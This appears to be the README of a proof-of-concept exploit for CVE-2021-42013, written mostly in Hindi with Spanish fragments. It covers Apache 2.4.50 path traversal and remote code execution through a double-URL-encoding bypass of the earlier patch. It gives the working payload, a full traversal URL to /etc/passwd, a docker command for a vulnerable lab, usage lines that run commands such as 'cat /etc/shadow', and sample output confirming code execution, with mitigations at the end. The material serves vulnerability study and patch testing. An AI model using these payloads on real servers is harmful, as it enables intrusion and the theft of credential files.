
CVE-2021-42013 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Apache 2.4.50 पर पाथ ट्रैवर्सल और रिमोट कोड एक्ज़ीक्यूशन प्रदर्शित करता है, जो CVE-2021-41773 पैच के डबल URL एन्कोडिंग बायपास के माध्यम से होता है।
केवल नियंत्रित और अपने स्वयं के वातावरण में उपयोग के लिए। बिना प्राधिकरण के सिस्टम के खिलाफ उपयोग न करें।
यह PoC Apache HTTP Server 2.4.50 में मौजूद CVE-2021-42013 को प्रदर्शित करने के लिए विकसित की गई है।
यह CVE, Apache द्वारा CVE-2021-41773 के लिए प्रकाशित पैच का बायपास है। संस्करण 2.4.50 ने पिछले path traversal को ठीक करने के लिए एक वैलिडेशन जोड़ा जो .%2e और %2e. अनुक्रमों को अस्वीकार करता था। हालाँकि, यह वैलिडेशन अपर्याप्त था: इसमें यह शामिल नहीं था कि वही परिणाम दोहरे URL encoding से प्राप्त किया जा सकता है, जिससे हमले की वही सतह उजागर रह गई।
| CVE-2021-41773 | CVE-2021-42013 | |
|---|---|---|
| प्रभावित संस्करण | Apache 2.4.49 | Apache 2.4.50 |
| प्रयुक्त एन्कोडिंग | .%2e/ | %%32%65%%32%65/ |
| तंत्र | सिंगल एन्कोडिंग | डबल एन्कोडिंग (पैच बायपास) |
| RCE संभव | हाँ (mod_cgi के साथ) | हाँ (mod_cgi के साथ) |
| सुधारित संस्करण | 2.4.50 (अपूर्ण पैच) | 2.4.51 |
Apache 2.4.50 के पैच ने ap_normalize_path() में एक वैलिडेशन जोड़ा जो request के path में .%2e और %2e. अनुक्रमों को शाब्दिक रूप से खोजता था। यदि वह उन्हें पाता था, तो request को 400 या 403 के साथ अस्वीकार कर देता था।
समस्या: यह वैलिडेशन URL डिकोडिंग के दूसरे पास से पहले string पर चलता था। यदि payload दोहरा एन्कोडेड था, तो वैलिडेशन को निषिद्ध अनुक्रम नहीं मिलता था क्योंकि वह अभी तक डिकोड नहीं हुआ था — और जब filesystem path को हल करने के लिए अंततः डिकोड किया जाता था, तब ../ पहले से मौजूद होता था और traversal फिर भी हो जाता था।
Payload: %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación: %%32%65%%32%65/ → %2e%2e/
Segunda decodificación: %2e%2e/ → ../
Resultado: traversal exitoso
वास्तविक सुधार 2.4.51 में आया, जहाँ Apache ने किसी भी सुरक्षा वैलिडेशन को लागू करने से पहले path को पूरी तरह से हल करने के लिए नॉर्मलाइज़ेशन लॉजिक को फिर से लिखा।
%%32%65 . का दोहरा एन्कोडेड प्रतिनिधित्व है:
. → %2e (encoding estándar)
% → %25 (encoding del símbolo %)
2 → %32 (encoding del carácter '2')
e → %65 (encoding del carácter 'e')
इसलिए %2e अपने एन्कोडेड % और एन्कोडेड हेक्स वर्णों के साथ %%32%65 में बदल जाता है।
%%32%65 का पहला डिकोड %2e उत्पन्न करता है। दूसरा . उत्पन्न करता है।
| शर्त | विवरण |
|---|---|
| Apache संस्करण | बिल्कुल 2.4.50 |
| एक्सेस निर्देश | एक्सपोज़्ड निर्देशिका में Require all granted |
| CGI मॉड्यूल | mod_cgi सक्षम (केवल RCE के लिए) |
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
या मैन्युअल रूप से Apache 2.4.50 के साथ और httpd.conf में यह कॉन्फ़िगरेशन:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
| आर्ग्युमेंट | आवश्यक | विवरण |
|---|---|---|
--target | हाँ | सर्वर का आधार URL (जैसे: http://localhost:8080) |
--mode | हाँ | फ़ाइलें पढ़ने के लिए traversal, कमांड निष्पादित करने के लिए rce |
--cmd | नहीं | मोड rce में निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id) |
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass del parche de CVE-2021-41773 via doble encoding
PoC con fines educativos — Solo en entornos propios
============================================================
[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...
[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 या उससे ऊपर के संस्करण में अपडेट करें।Require all denied को डिफ़ॉल्ट मान के रूप में बनाए रखें।mod_cgi अक्षम करें।यह PoC offensive security पोर्टफोलियो के लिए शैक्षिक उद्देश्यों से विकसित की गई है।